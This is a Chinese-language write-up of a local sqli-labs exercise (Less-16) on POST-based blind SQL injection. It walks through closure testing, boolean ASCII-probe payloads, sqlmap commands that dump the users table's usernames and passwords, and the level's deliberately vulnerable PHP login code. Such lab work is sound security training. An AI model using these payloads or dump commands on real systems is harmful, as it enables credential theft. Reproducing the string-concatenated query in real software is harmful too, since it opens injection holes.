sql-labs靶场第十六关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶 机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-16/

二、测试目的

测试post型的sql注入,使用盲注注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

加引号或者双引号,都没有任何信息

uname=12'&passwd=12&submit=Submit

uname=12"&passwd=12&submit=Submit

测试闭合方式

经过不断尝试得到闭合符号为 ") 时,页面成功登录

uname=12") or 1=1#&passwd=12&submit=Submit

没有回显结果,能使用盲注

uname=12") or 1=2#&passwd=12&submit=Submit

结果正常显示failed

②爆库,查看数据库名称

爆出当前数据库的长度

uname=12") or (length(database()))=8#&passwd=12&submit=Submit

获取数据库名,第一个字母的ascii码值

( 因为要比较ASCII 码值,速度很慢,所以手工注入只做个演示)

uname=12") or ascii(substr(database(),1,1))=115#&passwd=12&submit=Submit

第一个字母的ASCII码值为115即s ,其他字母以此类推,更改substr函数的第二个参数(起始位置),获取第二个字母......第三个......

③爆表,查看security库的所有表

爆表同理,获取表中第一行第一个字母,寻找ASCII码值

uname=12 ") or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101#&passwd=12&submit=Submit

④爆列,查看users表的所有列

同理,找ASCII码值

uname=12 ") or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117#&passwd=das&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

username字段

uname=12") or ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

password字段

uname=12") or ascii(substr((select password from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r 指定抓到的数据包文件

--dbs 是爆库的参数

②爆表

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables 

-D 指定数据库,在这个数据库里找数据表

--tables 爆表的参数

③爆列

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D 指定数据库

-T 指定数据表

--columns 爆破列名的参数

④爆字段

bash 复制代码
python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D 指定数据库

-T 指定数据表

-C 指定需要爆破的列名

--dump 爆破字段值的参数

四、源代码分析

php 复制代码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];

    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Name:'.$uname."\n");
    fwrite($fp,'Password:'.$passwd."\n");
    fclose($fp);

    // connectivity
    $uname='"'.$uname.'"';
    $passwd='"'.$passwd.'"'; 
    @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
        //echo '<font color= "#0000ff">';   
        
        echo "<br>";
        echo '<font color= "#FFFF00" font size = 4>';
        //echo " You Have successfully logged in " ;
        echo '<font size="3" color="#0000ff">'; 
        echo "<br>";
        //echo 'Your Login name:'. $row['username'];
        echo "<br>";
        //echo 'Your Password:' .$row['password'];
        echo "<br>";
        echo "</font>";
        echo "<br>";
        echo "<br>";
        echo '<img src="../images/flag.jpg"  />';   
        
        echo "</font>";
    }
    else  
    {
        echo '<font color= "#0000ff" font size="3">';
        echo "</br>";
        echo "</br>";
        //echo "Try again looser";
        //print_r(mysql_error());
        echo "</br>";
        echo "</br>";
        echo "</br>";
        echo '<img src="../images/slap.jpg"  />';   
        echo "</font>";  
    }
}

?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.检测了用户名和密码是否设置,给变量加了双引号,sql语句中给变量加了括号。

3.这关将执行失败的报错信息也注释掉了,结果不会有显示。不过因为直接调用的变量,存在万能密码漏洞,这样登录成功和失败的结果会不同,可以使用盲注。

4.Sql语句只取一行,注入时会把注释掉。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,只需要指定抓到的数据包即可。

这关使用盲注得到结果,根据true和false的信息,判断数据库信息。

相关推荐
我只会Traceroute7 分钟前
【渗透测试】01-信息收集-名词概念
网络·web安全·网络安全·渗透测试
Devil枫1 小时前
腾讯云云开发深度解读:云数据库、云模板与AI生成引用的魅力
数据库·人工智能·腾讯云
Kanna_STELLA1 小时前
Oracle视频基础1.1.4练习
数据库·oracle
城南云小白1 小时前
NoSQL的Redis配置
数据库·redis·nosql
dad_im_liu_lu1 小时前
当遇到 502 错误(Bad Gateway)怎么办
网络安全
懒惰树人2 小时前
渗透测试-百日筑基—SQL注入篇&时间注入&绕过&HTTP数据编码&绕过—下
网络·sql·安全·web安全·http·oracle
白总Server2 小时前
物联网网关确保设备安全
服务器·网络·物联网·安全·web安全·自然语言处理·架构
岁岁岁平安2 小时前
mysql上课总结(2)(DCL的所有操作总结、命令行快速启动/关闭mysql服务)
数据库·mysql·命令行·权限·dcl·localhost
Boboboobo2 小时前
记MySQL下一次DEPENDENT SUBQUERY的优化
数据库·sql·mysql·性能优化
hummhumm2 小时前
Oracle 第13章:事务处理
开发语言·数据库·后端·python·sql·oracle·database